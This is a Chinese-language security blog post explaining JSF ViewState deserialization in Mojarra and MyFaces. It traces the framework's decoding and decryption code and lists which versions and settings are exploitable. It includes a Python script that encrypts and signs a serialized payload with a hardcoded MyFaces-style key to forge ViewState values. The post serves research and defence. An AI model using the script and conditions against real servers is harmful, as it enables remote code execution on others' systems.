Java安全之JSF 反序列化

Java安全之jsf 反序列化

前言

偶遇一些奇葩環境,拿出來炒冷飯

JSF簡述

JSF”指的是2004年發佈的第一個版本的Java規範。這方面的許多實現

規範存在。其中最常用的是Sun(現在的Oracle)發佈的Mojarra和Apache發佈的MyFaces

JavaServerFaces(JSF)概念在幾年前就已經引入,現在主要在J2EE中使用

應用。它在web應用程序開發中最繁瑣的部分之一:用戶界面上添加了一個抽象層。

JSF層有助於在應用程序中集成複雜的小部件,例如:

•使用專用標籤的圖形組件;

•藉助表單屬性實現自動Ajax層;

•複雜格式的數據導出功能(例如:PDF、Excel等)。

然而,如果認爲添加這種特性只會促進開發人員的任務,那就太天真了。事實上,它伴隨着

模糊和複雜的機制。ViewState就是這些機制之一。

Mojarra 反序列化調試

web.xml中配置

<servlet>
        <servlet-name>Faces Servlet</servlet-name>
        <servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <!-- Map these files with JSF -->
	<servlet-mapping>
		<servlet-name>Faces Servlet</servlet-name>
		<url-pattern>/faces/*</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>Faces Servlet</servlet-name>
		<url-pattern>*.jsf</url-pattern>
	</servlet-mapping>
    public void service(ServletRequest req, ServletResponse resp) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)resp;
        this.requestStart(request.getRequestURI());
        if (!this.isHttpMethodValid(request)) {
            response.sendError(400);
        } else {
            //省略...
            }

            //省略...
           
            try {
                ResourceHandler handler = context.getApplication().getResourceHandler();
                if (handler.isResourceRequest(context)) {
                    handler.handleResourceRequest(context);
                } else {
                    this.lifecycle.execute(context);
                    this.lifecycle.render(context);
                }
            } catch (FacesException var12) {
              
            }

                 //省略...
            } finally {
                context.release();
            }

            this.requestEnd();
        }
    }

調用this.lifecycle.execute(context);

com.sun.faces.lifecycle.LifecycleImpl

 public LifecycleImpl() {
        this.phases = new Phase[]{null, new RestoreViewPhase(), new ApplyRequestValuesPhase(), new ProcessValidationsPhase(), new UpdateModelValuesPhase(), new InvokeApplicationPhase(), this.response};
        this.listeners = new CopyOnWriteArrayList();
    }

    public void execute(FacesContext context) throws FacesException {
        if (context == null) {
            throw new NullPointerException(MessageUtils.getExceptionMessageString("com.sun.faces.NULL_PARAMETERS_ERROR", new Object[]{"context"}));
        } else {
            if (LOGGER.isLoggable(Level.FINE)) {
                LOGGER.fine("execute(" + context + ")");
            }

            int i = 1;

            for(int len = this.phases.length - 1; i < len && !context.getRenderResponse() && !context.getResponseComplete(); ++i) {
                this.phases[i].doPhase(context, this, this.listeners.listIterator());
            }

        }
    }

this.phases[i].doPhase遍歷調用doPhase,默認裝載調用這幾個列new RestoreViewPhase(), new ApplyRequestValuesPhase(), new ProcessValidationsPhase(), new UpdateModelValuesPhase(), new InvokeApplicationPhase(), this.response}; this.listeners = new CopyOnWriteArrayList()

    public void execute(FacesContext facesContext) throws FacesException {
        if (LOGGER.isLoggable(Level.FINE)) {
            LOGGER.fine("Entering RestoreViewPhase");
        }

        //省略無用代碼...
        
                    ViewHandler viewHandler = Util.getViewHandler(facesContext);
                    boolean isPostBack = facesContext.isPostback() && !isErrorPage(facesContext);
                    if (isPostBack) {
                        facesContext.setProcessingEvents(false);
                        viewRoot = viewHandler.restoreView(facesContext, viewId);

該方法是獲取請求過來的 路徑的 這裏傳遞/index.xhtml即獲取該位置的ViewState視圖。

省略無效代碼,流程走到 com.sun.faces.application.view.FaceletViewHandlingStrategy

public UIViewRoot restoreView(FacesContext context, String viewId) {
        Util.notNull("context", context);
        Util.notNull("viewId", viewId);
        if (UIDebug.debugRequest(context)) {
            context.getApplication().createComponent("javax.faces.ViewRoot");
        }

        ViewHandler outerViewHandler = context.getApplication().getViewHandler();
        String renderKitId = outerViewHandler.calculateRenderKitId(context);
        ResponseStateManager rsm = RenderKitUtils.getResponseStateManager(context, renderKitId);
        Object incomingState = rsm.getState(context, viewId);
 public Object getState(FacesContext ctx, String viewId) throws IOException {
        String stateString = getStateParamValue(ctx);
        if (stateString == null) {
            return null;
        } else {
            return "stateless".equals(stateString) ? "stateless" : this.doGetState(stateString);
        }
    }

來到com.sun.faces.renderki.ClientSideStateHelper#doGetState,關鍵代碼,這裏是jsf反序列化過程具體的實現

 protected Object doGetState(String stateString) {
        if ("stateless".equals(stateString)) {
            return null;
        } else {
            ObjectInputStream ois = null;
            InputStream bis = new Base64InputStream(stateString);

            Object var5;
            try {
                Object state;
                if (this.guard != null) {
                    byte[] bytes = stateString.getBytes();
                    int numRead = ((InputStream)bis).read(bytes, 0, bytes.length);
                    byte[] decodedBytes = new byte[numRead];
                    ((InputStream)bis).reset();
                    ((InputStream)bis).read(decodedBytes, 0, decodedBytes.length);
                    bytes = this.guard.decrypt(decodedBytes);
                    if (bytes == null) {
                        state = null;
                        return state;
                    }

                    bis = new ByteArrayInputStream(bytes);
                }

                if (this.compressViewState) {
                    bis = new GZIPInputStream((InputStream)bis);
                }

                ois = this.serialProvider.createObjectInputStream((InputStream)bis);
                long stateTime = 0L;
                if (this.stateTimeoutEnabled) {
                    try {
                        stateTime = ois.readLong();
                    } catch (IOException var25) {
                        if (LOGGER.isLoggable(Level.FINE)) {
                            LOGGER.fine("Client state timeout is enabled, but unable to find the time marker in the serialized state.  Assuming state to be old and returning null.");
                        }

                        state = null;
                        return state;
                    }
                }

                Object structure = ois.readObject();
                state = ois.readObject();

代碼中inputStream bis = new Base64InputStream(stateString);

 public Base64InputStream(String encodedString) {
        this.buf = this.decode(encodedString);
        this.pos = 0;
        this.count = this.buf.length;
    }

這裏會對數據進行進行base64解密。解密完成後然後判斷this.guard是否爲空,this.guard是標記是否啓用加密

if (this.guard != null) {
                    byte[] bytes = stateString.getBytes();
                    int numRead = ((InputStream)bis).read(bytes, 0, bytes.length);
                    byte[] decodedBytes = new byte[numRead];
                    ((InputStream)bis).reset();
                    ((InputStream)bis).read(decodedBytes, 0, decodedBytes.length);
                    bytes = this.guard.decrypt(decodedBytes);
                    if (bytes == null) {
                        state = null;
                        return state;
                    }

解密算法實現

 public byte[] decrypt(byte[] bytes) {
        try {
            byte[] macBytes = new byte[32];
            System.arraycopy(bytes, 0, macBytes, 0, macBytes.length);
            byte[] iv = new byte[16];
            System.arraycopy(bytes, macBytes.length, iv, 0, iv.length);
            byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];
            System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length);
            IvParameterSpec ivspec = new IvParameterSpec(iv);
            Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            decryptCipher.init(2, this.sk, ivspec);
            this.decryptMac.update(iv);
            this.decryptMac.update(encdata);
            byte[] macBytesCalculated = this.decryptMac.doFinal();
            if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {
                byte[] plaindata = decryptCipher.doFinal(encdata);
                return plaindata;
            } else {
                System.err.println("ERROR: MAC did not verify!");
                return null;
            }
        } catch (Exception var9) {
            System.err.println("ERROR: Decrypting:" + var9.getCause());
            return null;
        }
    }

這裏沒使用加密直接跳過這個步驟,然後使用bis = new GZIPInputStream((InputStream)bis); 進行gzip解壓,最後調用ois.readObject();進行反序列化

image-20220429005536038

https://www.ibm.com/docs/en/was/8.5.5?topic=parameters-jsf-engine-configuration

Mojarra 加密編碼

默認情況下,“ViewState”數據存儲在頁面中的隱藏字段中,並使用base64編碼進行編碼。

"ViewState"也可以編碼爲"base64和gzip"(Base64Gzip),以"H4sIAAA"開頭。

image-20220429012946893

com.sun.faces.renderkit.ByteArrayGuard#setupKeyAndMac

   private void setupKeyAndMac() {
        try {
            InitialContext context = new InitialContext();
            String encodedKeyArray = (String)context.lookup("java:comp/env/jsf/ClientSideSecretKey");
            byte[] keyArray = DatatypeConverter.parseBase64Binary(encodedKeyArray);
            this.sk = new SecretKeySpec(keyArray, "AES");
        } catch (NamingException var5) {
            if (LOGGER.isLoggable(Level.FINEST)) {
                LOGGER.log(Level.FINEST, "Unable to find the encoded key.", var5);
            }
        }

        if (this.sk == null) {
            try {
                KeyGenerator kg = KeyGenerator.getInstance("AES");
                kg.init(128);
                this.sk = kg.generateKey();
            } catch (Exception var4) {
                throw new FacesException(var4);
            }
        }

    }

image-20220429014155002

先取前面32位個字節爲mac地址,從32位後再去16位位iv值,剩下的就是加密後的數據了。

 public byte[] decrypt(FacesContext facesContext, byte[] bytes) {
        try {
            byte[] macBytes = new byte[32];
            System.arraycopy(bytes, 0, macBytes, 0, macBytes.length);
            byte[] iv = new byte[16];
            System.arraycopy(bytes, macBytes.length, iv, 0, iv.length);
            byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];
            System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length);
            IvParameterSpec ivspec = new IvParameterSpec(iv);
            SecretKey secKey = this.getSecretKey(facesContext);
            Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            decryptCipher.init(2, secKey, ivspec);
            Mac decryptMac = Mac.getInstance("HmacSHA256");
            decryptMac.init(secKey);
            decryptMac.update(iv);
            decryptMac.update(encdata);
            byte[] macBytesCalculated = decryptMac.doFinal();
            if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {
                byte[] plaindata = decryptCipher.doFinal(encdata);
                return plaindata;
            } else {
                System.err.println("ERROR: MAC did not verify!");
                return null;
            }
        } catch (Exception var12) {
            System.err.println("ERROR: Decrypting:" + var12.getCause());
            return null;
        }
    }

AES取密鑰解密後,進行HmacSHA256解密,這個解密的密鑰和iv是前面傳遞序列化字段的0-31個字節和32-47個字節內容

然後進行HmacSHA256解密後,就是gzip後的base64序列化數據了。

加密腳本

#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *

YELLOW = "\033[93m"
GREEN = "\033[32m"

def encrypt(payload,key):
	cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
	enc_payload = cipher.encrypt(payload)
	return enc_payload

def hmac_sig(enc_payload,key):
	hmac_sig = hmac.new(key, enc_payload, sha1)
	hmac_sig = hmac_sig.digest()
	return hmac_sig

key = b'JsF9876-'

if len(sys.argv) != 3 :
	print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
	with open(sys.argv[1], "rb") as f:
		payload = f.read()
		f.close()
	print(YELLOW + "[+] Encrypting payload")
	print(YELLOW + "  [!] Key : JsF9876-\n")
	enc_payload = encrypt(payload,key)
	print(YELLOW + "[+] Creating HMAC signature")
	hmac_sig = hmac_sig(enc_payload,key)
	print(YELLOW + "[+] Appending signature to the encrypted payload\n")
	payload = b64encode(enc_payload + hmac_sig)
	payload = parse.quote_plus(payload)
	print(YELLOW + "[*] Final payload : {}\n".format(payload))
	with open(sys.argv[2], "w") as f:
		f.write(payload)
		f.close()
	print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))

jsf攻擊方式

利用條件

所有MyFaces版本1.1.7、1.2.8、2.0和更早版本,以及Mojarra 1.2.14、2.0.2和

JSF2.2之前的規範要求實現加密機制,但不要求使用加密機制。

Mojarra的默認javax.faces.STATE_SAVING_METHOD設置是server. 開發人員需要手動將其更改爲,client Mojarra 才能進行利用。如果將序列化的 ViewState 發送到服務器,但 Mojarra 使用server則ViewState 保存它,不會嘗試反序列化它。

MyFaces的默認javax.faces.STATE_SAVING_METHOD設置是server。但是MyFaces無論值是client或者是server,都能進行反序列化

安全層可以通過特定的配置參數啓用。對於Mojarra,文件中的以下行

web.xml)啓用ViewState數據加密。請注意,Mojarra不執行完整性檢查(HMAC):

<enventry> 
<enventryname>com.sun.faces.ClientStateSavingPassword</enventryname> 
<enventrytype>java.lang.String</enventrytype> 
<enventryvalue>[YOUR_SECRET_KEY]</enventryvalue>
</enventry>

對於MyFaces,以下幾行啓用ViewState加密和完整性檢查

<contextparam>
<paramname>org.apache.myfaces.USE_ENCRYPTION</paramname>
<paramvalue>true</paramvalue>
</contextparam>

可以指定加密密鑰以及算法。否則它們將由MyFaces自動生成。

還應該注意的是,2013年發佈的JSF 2.2規範默認要求激活ViewState加密。

在那之前,Mojarra實現不像MyFaces那樣默認啓用它。

Mojarra 1.2.x-2.0.3 中,密碼[will]用作 SecureRandom seed來生成DES algorithm key。

Mojarra 2.0.4-2.1.x 中,他們changed從DES到AES的算法,並且代碼現在不再actually不再使用提供的密碼來生成 key (以防止潛在的麻煩)。相反,完全隨機的 key 是generated,它更安全。現在,JNDI條目基本上控制客戶機狀態是否應該加密。換句話說,它現在的行爲就像一個 bool 配置條目。因此,使用哪個密碼絕對不再重要。

參考

https://javaee.github.io/javaserverfaces-spec/

https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf

https://book.hacktricks.xyz/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization

結尾

多喝熱水!!!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章